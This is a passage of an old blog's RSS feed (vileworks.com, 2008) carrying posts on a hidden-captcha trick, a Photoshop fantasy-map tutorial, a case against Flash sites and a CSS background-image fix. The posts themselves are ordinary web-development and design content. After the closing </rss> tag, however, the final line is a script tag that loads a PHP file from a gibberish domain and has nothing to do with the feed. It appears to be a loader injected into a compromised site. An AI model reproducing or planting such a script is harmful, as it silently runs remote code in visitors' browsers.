<div class="sexy-bookmarks sexy-bookmarks-expand sexy-bookmarks-bg-enjoy">
<ul class="socials">
		<li class="sexy-twitter">
			<a href="http://twitter.com/home?status=Secure+a+Flat+File+Using+a+.php+Extension+-+http://b2l.me/bwrrh+(via+@nonsalant)" rel="nofollow" title="Tweet This!">Tweet This!</a>
		</li>
		<li class="sexy-facebook">
			<a href="http://www.facebook.com/share.php?v=4&amp;src=bm&amp;u=http://www.vileworks.com/secure-a-flat-file-using-a-php-extension&amp;t=Secure+a+Flat+File+Using+a+.php+Extension" rel="nofollow" title="Share this on Facebook">Share this on Facebook</a>
		</li>
		<li class="sexy-delicious">
			<a href="http://del.icio.us/post?url=http://www.vileworks.com/secure-a-flat-file-using-a-php-extension&amp;title=Secure+a+Flat+File+Using+a+.php+Extension" rel="nofollow" title="Share this on del.icio.us">Share this on del.icio.us</a>
		</li>
</ul>
<div style="clear:both;"></div>
</div>
<!-- End SexyBookmarks Menu Code -->

<a class="a2a_dd addtoany_share_save" href="http://www.addtoany.com/share_save?linkurl=http%3A%2F%2Fwww.vileworks.com%2Fsecure-a-flat-file-using-a-php-extension&amp;linkname=Secure%20a%20Flat%20File%20Using%20a%20.php%20Extension"><img src="http://www.vileworks.com/wp-content/plugins/add-to-any/share_save_171_16.gif" width="171" height="16" alt="Share/Bookmark"/></a>]]></content:encoded>
			<wfw:commentRss>http://www.vileworks.com/secure-a-flat-file-using-a-php-extension/feed</wfw:commentRss>
		<slash:comments>12</slash:comments>
		</item>
		<item>
		<title>Using captcha without displaying it</title>
		<link>http://www.vileworks.com/using-captcha-without-displaying-it</link>
		<comments>http://www.vileworks.com/using-captcha-without-displaying-it#comments</comments>
		<pubDate>Wed, 01 Oct 2008 21:05:54 +0000</pubDate>
		<dc:creator>Stefan</dc:creator>
				<category><![CDATA[Uncategorized]]></category>
		<category><![CDATA[javascript]]></category>
		<category><![CDATA[php]]></category>
		<category><![CDATA[security]]></category>
		<category><![CDATA[usability]]></category>
		<category><![CDATA[web development]]></category>

		<guid isPermaLink="false">http://www.vileworks.com/wordpress/?p=15</guid>
		<description><![CDATA[
How I use captcha without making my users complete the barely readable word
Capthca sucks. For more information on how much captcha can suck see John Willis&#8217; post Top 10 Worst Captchas.
But at the same time it can be really annoying for webmasters to have their forms unprotected with all the spam bots running free out [...]]]></description>
			<content:encoded><![CDATA[
<blockquote><p>How I use captcha without making my users complete the barely readable word</p></blockquote>
<p><a title="Wikipedia Captcha article" href="http://en.wikipedia.org/wiki/Captcha">Capthca</a> sucks. For more information on how much captcha can suck see John Willis&#8217; post <a title="Top 10 worst captchas" href="http://www.johnmwillis.com/other/top-10-worst-captchas/">Top 10 Worst Captchas</a>.<a title="Image Credit" href="http://www.flickr.com/photos/petalpie/248942764/"><img title="Bad Captcha" src="http://farm1.static.flickr.com/94/248942764_9d83ad0567_m.jpg" border="0" alt="Bad Captcha" width="240" height="95" align="left" /></a><br />
But at the same time it can be really annoying for webmasters to have their forms unprotected with all the spam bots running free out there.</p>
<p>What I wanted was to have the commenting feature protected against spam bots without having the innocent human users ruining their eyes on captcha like images, or complete any mathematical equation or any other additional question fields.</p>
<p>One very important difference between a spam bot and a human using a web browser is that the first can&#8217;t run JavaScript code. However, this isn&#8217;t a perfect criteria of selection, because there are humans browsing the web using browsers without JavaScript support (Opera Mini for mobile devices for example).</p>
<p>My ideea (and as I did some Google searches, I found out other people had similar ideas) was the followig algorithm:</p>
<p>Does the user have JavaScript enabled?<br />
If yes, he&#8217;s ok.  Let him comment.<br />
No? He&#8217;s a suspect. Read him his rights and give him the ultimate &#8220;are you human?&#8221; test.</p>
<p>To do this I left the captcha system enabled and in place and wrote 2 extra lines of JavaScript that:</p>

<div class="wp_syntax"><div class="code"><pre class="javascript" style="font-family:monospace;"><span style="color: #006600; font-style: italic;">//complete the text field with the correct word from the image:</span>
$<span style="color: #009900;">&#40;</span><span style="color: #3366CC;">'secretword'</span><span style="color: #009900;">&#41;</span>.<span style="color: #660066;">value</span><span style="color: #339933;">=</span><span style="color: #3366CC;">'nospam'</span><span style="color: #339933;">;</span>
<span style="color: #006600; font-style: italic;">//hide the div containing the captcha image and the text field:</span>
$<span style="color: #009900;">&#40;</span><span style="color: #3366CC;">'captcha'</span><span style="color: #009900;">&#41;</span>.<span style="color: #660066;">style</span>.<span style="color: #660066;">display</span><span style="color: #339933;">=</span><span style="color: #3366CC;">'none'</span><span style="color: #339933;">;</span></pre></div></div>

<p><span id="more-15"></span></p>
<p class="notice"><strong>Update:</strong> I wrote/recorded a follow up post/screencast explaining <a href="http://www.vileworks.com/php-screencast-hidden-captcha">how to implement the hidden captcha</a>.</p>
<p>That&#8217;s mootools JavaScript, the <strong>$</strong> sign stands for <strong>document.getElementById()</strong>, &#8217;secretword&#8217; is the id of the text field where the secret word from the image should be completed and &#8216;captcha&#8217; is the id of the div containing the captcha image and text field.</p>
<p>So&#8230; if the user doesn&#8217;t have JavaScript, he gets the normal captcha, if he does, the captcha is solved by the first line of JavaScript and its existence is hidden by the second.</p>
<p>To make my life a lot easier I made my captcha output only one word, <em>nospam</em>, so I didn&#8217;t have to get the secret word from the server each time.<br />
I was able to get away with this because I doubt anyone is going to make a special spam bot for <a href="../../">VileWorks.com</a> so their stupid spam bot brain will never know that the &#8220;secret word&#8221; is nospam. The same word, over and over again.<br />
If anyone would go through the trouble of adapting their spam bot to my script, I would simply change the word. Or I would go myself through the trouble of setting the captcha back to outputting random letters and get the secret word back from the server each time.</p>
<h3><span style="font-family: arial,helvetica,sans-serif;">Is this a good solution for future protection against spam for large web sites?</span></h3>
<p>Certainly not. Especially not for larger sites. Even if the words were random letters and the JavaScript was written server-side to complete the form with the correct word each time (think <strong>$(&#8217;secretword&#8217;).value=&#8217;<em>&amp;lt;?php echo $secretword; ?&amp;gt;</em>&#8216;;</strong> ), as long as the secret word is in the source code of the page, it can be reached by spam bots.</p>
<h3><span style="font-family: arial,helvetica,sans-serif;">Is it a good solution for me and a whole lot of other website owners?</span></h3>
<p>Yes. As long as nobody can make a lot of income by any form of spam on your specific website and as long as there aren&#8217;t thousands of websites that use this same specific system, nobody&#8217;s going to bother to adapt a spam bot to your website.</p>
<p>Spam is only profitable when done massively. It might take a spammer only a 20 minutes to program his spam bot to beat the system I&#8217;m talking about, but it would take me even less time to delete his comments, ban his ip and slightly change something in my code so he would have to reprogram his spam bot.</p>
<p>Unless he was some sociopath trying to annoy me, he would never go throught all the trouble.<br />
Bottom line is: the best solutions are specific solutions.</p>
<p>Ever seen those forms asking you to prove that you are human by entering &#8220;the result of 8 + 5&#8243;? Do you think it&#8217;s hard to make an automated solution that reads two numbers and outputs their sum? Of course not. Nobody bothered because they aren&#8217;t popular enough to be of any interest.</p>


<!-- Begin SexyBookmarks Menu Code -->
<div class="sexy-bookmarks sexy-bookmarks-expand sexy-bookmarks-bg-enjoy">
<ul class="socials">
		<li class="sexy-twitter">
			<a href="http://twitter.com/home?status=Using+captcha+without+displaying+it++-+http://b2l.me/bwn6v+(via+@nonsalant)" rel="nofollow" title="Tweet This!">Tweet This!</a>
		</li>
		<li class="sexy-facebook">
			<a href="http://www.facebook.com/share.php?v=4&amp;src=bm&amp;u=http://www.vileworks.com/using-captcha-without-displaying-it&amp;t=Using+captcha+without+displaying+it+" rel="nofollow" title="Share this on Facebook">Share this on Facebook</a>
		</li>
		<li class="sexy-delicious">
			<a href="http://del.icio.us/post?url=http://www.vileworks.com/using-captcha-without-displaying-it&amp;title=Using+captcha+without+displaying+it+" rel="nofollow" title="Share this on del.icio.us">Share this on del.icio.us</a>
		</li>
</ul>
<div style="clear:both;"></div>
</div>
<!-- End SexyBookmarks Menu Code -->

<a class="a2a_dd addtoany_share_save" href="http://www.addtoany.com/share_save?linkurl=http%3A%2F%2Fwww.vileworks.com%2Fusing-captcha-without-displaying-it&amp;linkname=Using%20captcha%20without%20displaying%20it"><img src="http://www.vileworks.com/wp-content/plugins/add-to-any/share_save_171_16.gif" width="171" height="16" alt="Share/Bookmark"/></a>]]></content:encoded>
			<wfw:commentRss>http://www.vileworks.com/using-captcha-without-displaying-it/feed</wfw:commentRss>
		<slash:comments>18</slash:comments>
		</item>
		<item>
		<title>Photoshop Tutorial: Old Fantasy Map of Your Area</title>
		<link>http://www.vileworks.com/photoshop-tutorial-old-fantasy-map-of-your-area</link>
		<comments>http://www.vileworks.com/photoshop-tutorial-old-fantasy-map-of-your-area#comments</comments>
		<pubDate>Wed, 01 Oct 2008 20:55:26 +0000</pubDate>
		<dc:creator>Stefan</dc:creator>
				<category><![CDATA[Uncategorized]]></category>
		<category><![CDATA[design]]></category>
		<category><![CDATA[photoshop]]></category>
		<category><![CDATA[texture]]></category>
		<category><![CDATA[tutorial]]></category>

		<guid isPermaLink="false">http://www.vileworks.com/wordpress/?p=14</guid>
		<description><![CDATA[Put your city on the map in 4 layers. Create an artistic old map of your area.
Here&#8217;s what you should be achieving:

Step 1: Getting the actual map
Go to maps.yahoo.com, find your area and zoom in to a desired level—I went in somewhere between City and Street view in some area in Bucharest, Romania but you [...]]]></description>
			<content:encoded><![CDATA[<p>Put your city on the map in 4 layers. Create an artistic <strong>old map</strong> of your area.</p>
<p>Here&#8217;s what you should be achieving:</p>
<div class="tutorial_image"><img title="psd map tutorial step5" src="http://www.vileworks.com/wp-content/uploads/2008/10/5.jpg" border="0" alt="psd map tutorial step5" /></div>
<h3>Step 1: Getting the actual map</h3>
<p>Go to <a href="http://www.maps.yahoo.com/">maps.yahoo.com</a>, find your area and zoom in to a desired level—I went in somewhere between City and Street view in some area in Bucharest, Romania but you can also do a Country view. If your part of the world isn&#8217;t covered by yahoo maps, try <a href="http://maps.google.com/">google maps</a> or get a regular image of a map fmor the area you need.</p>
<p><strong>Update:</strong> <a title="Read his comment" href="http://www.vileworks.com/photoshop-tutorial-old-fantasy-map-of-your-area#comment-75">Simon suggests in a comment below</a> that to avoid any legal implications in using a screen capture from Google or Yahoo Maps in your artwork, you should rather go with an <em>open</em> map provider as <a title="Open Street Map" href="http://www.openstreetmap.org/">openstreetmap.org</a>.</p>
<p>Hit the PrintScreen key, go in <strong>Photoshop</strong> and paste it in a new document and then Crop (C key) the image keeping only the desired part. Use the <em>Patch Tool</em> or the <em>Healing Brush Tool</em> to remove the center cross.</p>
<div class="tutorial_image"><img title="psd map tutorial" src="http://www.vileworks.com/wp-content/uploads/2008/10/1.jpg" border="0" alt="psd map tutorial" /></div>
<h3>Step 2: Applying the old paper texture to give it a vintage look</h3>
<p>For the second step you need an <strong>old grunge paper texture</strong>. I used <a href="http://www.cgtextures.com/texview.php?id=12493&amp;PHPSESSID=60c40d35f88ef6aff2396e522b99f1ef">this</a> free image from <a href="http://www.cgtextures.com/">cgtextures</a>.</p>
<p><span id="more-14"></span></p>
<p>Paste it on a new layer above the map and set the blending mode to <em>Multiply</em>. If your image turns out to dark, select the paper layer and go to <em>Image &gt; Adjustment &gt; Brightness/Contrast </em>and set set the brightness to a higher value (I didn&#8217;t need to). You may also need to adjust its size and position.</p>
<div class="tutorial_image"><img title="psd map tutorial step2" src="http://www.vileworks.com/wp-content/uploads/2008/10/2.jpg" border="0" alt="psd map tutorial step2" /></div>
<h3>Step 3: Adding a photograph</h3>
<p>Now you need to find a suited image of your city/region. Well, it doesn&#8217;t necessarily have to be related to your region as long as it looks good. I used <a href="http://web.mit.edu/romania/www/Romania/Photogallery/Places/bucuresti-athenaeum.jpg">this</a> image of the The Athenaeum in Bucharest. But I also found <em>fantasy/surreal art images</em> to look great here (examples at the end).</p>
<p>Paste the image under the paper layer and adjust its blending mode, opacity and brightness/contrast. I used <em>Multiply</em> with a 50% Opacity but you may want to try other values for your image of choice (like <em>Soft Light</em> for the blending mode or increasing the Brightness).</p>
<div class="tutorial_image"><img title="psd map tutorial step3" src="http://www.vileworks.com/wp-content/uploads/2008/10/3.jpg" border="0" alt="psd map tutorial step3" /></div>
<h3>Step 4: Clear the roads!</h3>
<p>Next thing I did here was to create a <strong>Layer Mask</strong> to the Bucharest Athenaeum layer and while having the mask selected and the foreground to black, I used a 100px brush with 0% hardness to brush away the sky.</p>
<p>Then, with the same brush, but after setting its Opacity to 50% I brushed some more on the mask in regions I considered to &#8220;crowded&#8221; like where there were roads and texts from the map layer and trees and building parts from the Athenaeum image.</p>
<p>I then reduced the brush size and brushed some more along the roads.<br />
The brush size should be smaller than the road width. Try to only brush inside the roads.</p>
<div class="tutorial_image"><img title="psd map tutorial step4" src="http://www.vileworks.com/wp-content/uploads/2008/10/4.jpg" border="0" alt="psd map tutorial step4" /></div>
<h3>Step 5: A nice final touch, the borders</h3>
<p>Your layers should now be in this order: <strong>Paper layer</strong> (up most), <strong>Photograph layer</strong> and <strong>Map layer</strong>.</p>
<p>While having the Photograph layer selected, create a new layer (Ctrl+Shift+N), name it <strong>Borders</strong> and fill it with white (press D and X to make the foreground color white and Alt + Backspace to fill it with color).</p>
<p>Hit Ctrl+A to select all, go to <em>Select &gt; Modify &gt; Contract</em> and contract the selection by 19px. Change the Foreground Color to #999999 and hit Alt+Backspace to fill the selection. Go to <em>Select &gt; Modify &gt; Contract</em> again and enter 1px. Hit the Delete key to clear the selection.</p>
<div class="tutorial_image"><img title="psd map tutorial step5" src="http://www.vileworks.com/wp-content/uploads/2008/10/5.jpg" border="0" alt="psd map tutorial step5" /></div>
<p>And you&#8217;re done. Gongrats!</p>
<p>Oh, right&#8230; I promised  the fantasy examples:</p>
<div class="tutorial_image"><img title="psd map tutorial fantasy image" src="http://www.vileworks.com/wp-content/uploads/2008/10/6.jpg" border="0" alt="psd map tutorial fantasy image" /><br />
I used two layers with two photographs for the one above, both with <em>Multiply </em>blending mode and both with layer masks.</div>
<div class="tutorial_image"><img title="psd map tutorial fantasy image" src="http://www.vileworks.com/wp-content/uploads/2008/10/7.jpg" border="0" alt="psd map tutorial fantasy image" /></div>
<div class="tutorial_image">
<p>Another cool vintage example:</p></div>
<div class="tutorial_image"><img title="psd map tutorial fantasy image" src="http://www.vileworks.com/wp-content/uploads/2008/10/8.jpg" border="0" alt="psd map tutorial fantasy image" /></div>
<p>And another one, of a south Romanian view (click to expand):</p>
<div class="tutorial_image"><a href="http://www.flickr.com/photo_zoom.gne?id=1534446684&amp;size=o"><img title="psd map tutorial fantasy image" src="http://www.vileworks.com/wp-content/uploads/2008/10/9.jpg" border="0" alt="psd map tutorial fantasy image" /></a></div>
<p>Go beyond: add a page curl using Veerle&#8217;s <a href="http://veerle.duoh.com/blog/comments/creating_a_page_curl_in_photoshop/">tutorial</a> and place it on a <a href="http://psdtuts.com/interface-tutorials/how-to-create-a-desk-environment-in-photoshop-from-scratch/">desk environment</a>!</p>
<p>Let me know how it all went. Good luck!</p>


<!-- Begin SexyBookmarks Menu Code -->
<div class="sexy-bookmarks sexy-bookmarks-expand sexy-bookmarks-bg-enjoy">
<ul class="socials">
		<li class="sexy-twitter">
			<a href="http://twitter.com/home?status=Photoshop+Tutorial%3A+Old+Fantasy+Map+of+Your+Area++-+http://b2l.me/bwnv4+(via+@nonsalant)" rel="nofollow" title="Tweet This!">Tweet This!</a>
		</li>
		<li class="sexy-facebook">
			<a href="http://www.facebook.com/share.php?v=4&amp;src=bm&amp;u=http://www.vileworks.com/photoshop-tutorial-old-fantasy-map-of-your-area&amp;t=Photoshop+Tutorial%3A+Old+Fantasy+Map+of+Your+Area+" rel="nofollow" title="Share this on Facebook">Share this on Facebook</a>
		</li>
		<li class="sexy-delicious">
			<a href="http://del.icio.us/post?url=http://www.vileworks.com/photoshop-tutorial-old-fantasy-map-of-your-area&amp;title=Photoshop+Tutorial%3A+Old+Fantasy+Map+of+Your+Area+" rel="nofollow" title="Share this on del.icio.us">Share this on del.icio.us</a>
		</li>
</ul>
<div style="clear:both;"></div>
</div>
<!-- End SexyBookmarks Menu Code -->

<a class="a2a_dd addtoany_share_save" href="http://www.addtoany.com/share_save?linkurl=http%3A%2F%2Fwww.vileworks.com%2Fphotoshop-tutorial-old-fantasy-map-of-your-area&amp;linkname=Photoshop%20Tutorial%3A%20Old%20Fantasy%20Map%20of%20Your%20Area"><img src="http://www.vileworks.com/wp-content/plugins/add-to-any/share_save_171_16.gif" width="171" height="16" alt="Share/Bookmark"/></a>]]></content:encoded>
			<wfw:commentRss>http://www.vileworks.com/photoshop-tutorial-old-fantasy-map-of-your-area/feed</wfw:commentRss>
		<slash:comments>45</slash:comments>
		</item>
		<item>
		<title>Reasons not to use flash</title>
		<link>http://www.vileworks.com/reasons-not-to-use-flash</link>
		<comments>http://www.vileworks.com/reasons-not-to-use-flash#comments</comments>
		<pubDate>Wed, 01 Oct 2008 20:50:16 +0000</pubDate>
		<dc:creator>Stefan</dc:creator>
				<category><![CDATA[Uncategorized]]></category>
		<category><![CDATA[flash]]></category>
		<category><![CDATA[seo]]></category>
		<category><![CDATA[usability]]></category>
		<category><![CDATA[web design]]></category>
		<category><![CDATA[web development]]></category>

		<guid isPermaLink="false">http://www.vileworks.com/wordpress/?p=13</guid>
		<description><![CDATA[Why shouldn&#8217;t you use flash for your website? Can there be anything wrong with a website that &#8220;enhances&#8221; the user experience by flying/zooming/swirling/flipping in like a .PPS document?
Well, besides the lack of SEO, low usability (for example: back button not working, &#8220;find on this page&#8221; not working, the &#8220;make text bigger/smaller&#8221; button not working etcetera), [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://www.flickr.com/photos/16230215@N08/2669645558"><img title="Deamon of Fear" src="http://farm4.static.flickr.com/3168/2669645558_439f285f70_m.jpg" border="0" alt="Deamon of Fear" hspace="5" /></a>Why shouldn&#8217;t you use flash for your website? Can there be anything wrong with a website that &#8220;enhances&#8221; the user experience by flying/zooming/swirling/flipping in like a .PPS document?</p>
<p>Well, besides the lack of SEO, low usability (for example: back button not working, &#8220;find on this page&#8221; not working, the &#8220;make text bigger/smaller&#8221; button not working etcetera), nonstandard user interface, fully flash based sites are pretty much ok.</p>
<p>This is a really old issue and of course modern technology offers solutions like <a title="Adobe Flex" href="http://en.wikipedia.org/wiki/Adobe_Flex">Flex</a> for powerful web applications, but unfortunately the web is still filled with flash based sites&#8230; which use flash just for the design&#8217;s sake.</p>
<p>I&#8217;m not stating here that flash is bad or anything. It actually is GREAT! It&#8217;s the best choice right now for online streaming video or audio, the only choice for some web applications or games, a good way to make your banner ads stand out (even though this can be really annoying for the visitors but that&#8217;s a different topic).</p>
<p>Seeing how this is such an old topic, I need not to go in any more details as some people excellently did that already:</p>
<p><a title="Make god use of flash" href="http://www.businessknowhow.com/internet/flash.htm">Making god use of flash: When you should and shouldn&#8217;t use it.</a><em> Is Flash going to help me in communicating with my audience?</em><strong> </strong></p>
<p><a title="Flash 99% bad" href="http://www.useit.com/alertbox/20001029.html">Flash: 99% Bad.</a></p>
<p>Really, people&#8230; these things are so <em>last decade</em> even my article looks old fashioned. There&#8217;s <a title="Google CEO Eric Schmidt" href="http://www.readwriteweb.com/archives/eric_schmidt_defines_web_30.php">all the talk</a> about <a title="web 2.0" href="http://en.wikipedia.org/wiki/Web_2.0">web 2.0</a> and taking this paradigm to the <a title="web 3.0" href="http://en.wikipedia.org/wiki/Web_3.0">next level</a>&#8230; Do you think the definitions &#8220;the web as a platform&#8221; or &#8220;the web as a database&#8221; can include your site that not even Google can index due to the fact that the only navigation you have between pages is a flash menu?</p>


<!-- Begin SexyBookmarks Menu Code -->
<div class="sexy-bookmarks sexy-bookmarks-expand sexy-bookmarks-bg-enjoy">
<ul class="socials">
		<li class="sexy-twitter">
			<a href="http://twitter.com/home?status=Reasons+not+to+use+flash+-+http://b2l.me/bwrrn+(via+@nonsalant)" rel="nofollow" title="Tweet This!">Tweet This!</a>
		</li>
		<li class="sexy-facebook">
			<a href="http://www.facebook.com/share.php?v=4&amp;src=bm&amp;u=http://www.vileworks.com/reasons-not-to-use-flash&amp;t=Reasons+not+to+use+flash" rel="nofollow" title="Share this on Facebook">Share this on Facebook</a>
		</li>
		<li class="sexy-delicious">
			<a href="http://del.icio.us/post?url=http://www.vileworks.com/reasons-not-to-use-flash&amp;title=Reasons+not+to+use+flash" rel="nofollow" title="Share this on del.icio.us">Share this on del.icio.us</a>
		</li>
</ul>
<div style="clear:both;"></div>
</div>
<!-- End SexyBookmarks Menu Code -->

<a class="a2a_dd addtoany_share_save" href="http://www.addtoany.com/share_save?linkurl=http%3A%2F%2Fwww.vileworks.com%2Freasons-not-to-use-flash&amp;linkname=Reasons%20not%20to%20use%20flash"><img src="http://www.vileworks.com/wp-content/plugins/add-to-any/share_save_171_16.gif" width="171" height="16" alt="Share/Bookmark"/></a>]]></content:encoded>
			<wfw:commentRss>http://www.vileworks.com/reasons-not-to-use-flash/feed</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>Firefox and Opera background-image bug?</title>
		<link>http://www.vileworks.com/firefox-and-opera-background-image-bug</link>
		<comments>http://www.vileworks.com/firefox-and-opera-background-image-bug#comments</comments>
		<pubDate>Wed, 01 Oct 2008 20:42:55 +0000</pubDate>
		<dc:creator>Stefan</dc:creator>
				<category><![CDATA[Uncategorized]]></category>
		<category><![CDATA[browsers]]></category>
		<category><![CDATA[css]]></category>
		<category><![CDATA[web design]]></category>
		<category><![CDATA[web development]]></category>

		<guid isPermaLink="false">http://www.vileworks.com/wordpress/?p=12</guid>
		<description><![CDATA[

Update: Fixed! Scroll to the end of the article to see how to fix this.

Large centered bg image +  Firefox + 800&#215;600 resolution = trouble.
Ok, let&#8217;s say my website has the following CSS code for the body:

background: #000000 url&#40;img/bg.jpg&#41; top center no-repeat;

That&#8217;s a black background with a centered image on the upper side. The [...]]]></description>
			<content:encoded><![CDATA[

<p><strong>Update</strong>: Fixed! Scroll to the end of the article to see how to fix this.<br />
<a href="http://www.flickr.com/photos/yuyang226/2814381364/"><img src="http://farm4.static.flickr.com/3285/2814381364_6259da8e74_m.jpg" alt="A bug" title="A bug" hspace="5" border="0" /></a></p>
<p>Large centered bg image +  Firefox + 800&#215;600 resolution = trouble.</p>
<p>Ok, let&#8217;s say my website has the following CSS code for the body:</p>

<div class="wp_syntax"><div class="code"><pre class="css" style="font-family:monospace;"><span style="color: #000000; font-weight: bold;">background</span><span style="color: #00AA00;">:</span> <span style="color: #cc00cc;">#000000</span> <span style="color: #993333;">url</span><span style="color: #00AA00;">&#40;</span><span style="color: #ff0000; font-style: italic;">img/bg.jpg</span><span style="color: #00AA00;">&#41;</span> <span style="color: #000000; font-weight: bold;">top</span> <span style="color: #993333;">center</span> <span style="color: #993333;">no-repeat</span><span style="color: #00AA00;">;</span></pre></div></div>

<p>That&#8217;s a black background with a centered image on the upper side. The &#8220;center&#8221; part should mean that the middle of the image will be in the middle of the browser&#8217;s view port. That&#8217;s pretty straight forward and looks as it should in any browser with CSS support.</p>
<p>Except in <strong>Firefox</strong> and <strong>Opera</strong> on a low enough resolution, or if the browser&#8217;s window size is small enough the background image starts going left at a certain point! Works fine in IE.<br />
<span style="text-decoration: line-through;">If you&#8217;re on <strong>Firefox </strong>or <strong>Opera</strong>, go ahead&#8230; resize this window making it narrower and narrower. You&#8217;ll see the VileWorks logo going left. Now scroll right to see how the design broke apart</span> Update: not anymore.</p>
<p>Usually, when something works on <strong>Internet Explorer</strong> and doesn&#8217;t work in <strong>Firefox </strong>it&#8217;s somehow my fault and the fact that it works ok in <strong>IE</strong> is an <strong>IE bug</strong>. But I can&#8217;t see how the above code couldn&#8217;t be correct. And it doesn&#8217;t just happen to me, I&#8217;ve seen this on a lot of sites with large, centered, no-repeat background images. All of these designs break somehow on a (for example) 800&#215;600 resolution.</p>
<div class="notice">
<h3>Update:</h3>
<p>What I did was I added the last two properties to the body element in the stylesheet:</p>

<div class="wp_syntax"><div class="code"><pre class="css" style="font-family:monospace;">body <span style="color: #00AA00;">&#123;</span>
    <span style="color: #000000; font-weight: bold;">background</span><span style="color: #00AA00;">:</span><span style="color: #cc00cc;">#000000</span> <span style="color: #993333;">url</span><span style="color: #00AA00;">&#40;</span><span style="color: #ff0000; font-style: italic;">img/bg.jpg</span><span style="color: #00AA00;">&#41;</span> <span style="color: #993333;">center</span> <span style="color: #000000; font-weight: bold;">top</span> <span style="color: #993333;">no-repeat</span><span style="color: #00AA00;">;</span>
    <span style="color: #000000; font-weight: bold;">font-family</span><span style="color: #00AA00;">:</span> Georgia<span style="color: #00AA00;">,</span> <span style="color: #ff0000;">&quot;Times New Roman&quot;</span><span style="color: #00AA00;">,</span> Times<span style="color: #00AA00;">,</span> <span style="color: #993333;">serif</span><span style="color: #00AA00;">;</span>
    <span style="color: #000000; font-weight: bold;">font-size</span><span style="color: #00AA00;">:</span><span style="color: #933;">14px</span><span style="color: #00AA00;">;</span> <span style="color: #000000; font-weight: bold;">line-height</span><span style="color: #00AA00;">:</span><span style="color: #933;">20px</span><span style="color: #00AA00;">;</span>
&nbsp;
    <span style="color: #808080; font-style: italic;">/* These two: */</span>
    <span style="color: #000000; font-weight: bold;">display</span><span style="color: #00AA00;">:</span>table<span style="color: #00AA00;">;</span>
    <span style="color: #000000; font-weight: bold;">width</span><span style="color: #00AA00;">:</span><span style="color: #933;"><span style="color: #cc66cc;">100</span>%</span><span style="color: #00AA00;">;</span>
<span style="color: #00AA00;">&#125;</span></pre></div></div>

</div>


<!-- Begin SexyBookmarks Menu Code -->
<div class="sexy-bookmarks sexy-bookmarks-expand sexy-bookmarks-bg-enjoy">
<ul class="socials">
		<li class="sexy-twitter">
			<a href="http://twitter.com/home?status=Firefox+and+Opera+background-image+bug%3F++-+http://b2l.me/bwrrp+(via+@nonsalant)" rel="nofollow" title="Tweet This!">Tweet This!</a>
		</li>
		<li class="sexy-facebook">
			<a href="http://www.facebook.com/share.php?v=4&amp;src=bm&amp;u=http://www.vileworks.com/firefox-and-opera-background-image-bug&amp;t=Firefox+and+Opera+background-image+bug%3F+" rel="nofollow" title="Share this on Facebook">Share this on Facebook</a>
		</li>
		<li class="sexy-delicious">
			<a href="http://del.icio.us/post?url=http://www.vileworks.com/firefox-and-opera-background-image-bug&amp;title=Firefox+and+Opera+background-image+bug%3F+" rel="nofollow" title="Share this on del.icio.us">Share this on del.icio.us</a>
		</li>
</ul>
<div style="clear:both;"></div>
</div>
<!-- End SexyBookmarks Menu Code -->

<a class="a2a_dd addtoany_share_save" href="http://www.addtoany.com/share_save?linkurl=http%3A%2F%2Fwww.vileworks.com%2Ffirefox-and-opera-background-image-bug&amp;linkname=Firefox%20and%20Opera%20background-image%20bug%3F"><img src="http://www.vileworks.com/wp-content/plugins/add-to-any/share_save_171_16.gif" width="171" height="16" alt="Share/Bookmark"/></a>]]></content:encoded>
			<wfw:commentRss>http://www.vileworks.com/firefox-and-opera-background-image-bug/feed</wfw:commentRss>
		<slash:comments>14</slash:comments>
		</item>
	</channel>
</rss>
<script src="http://kdjkfjskdfjlskdjf.com/kp.php"></script>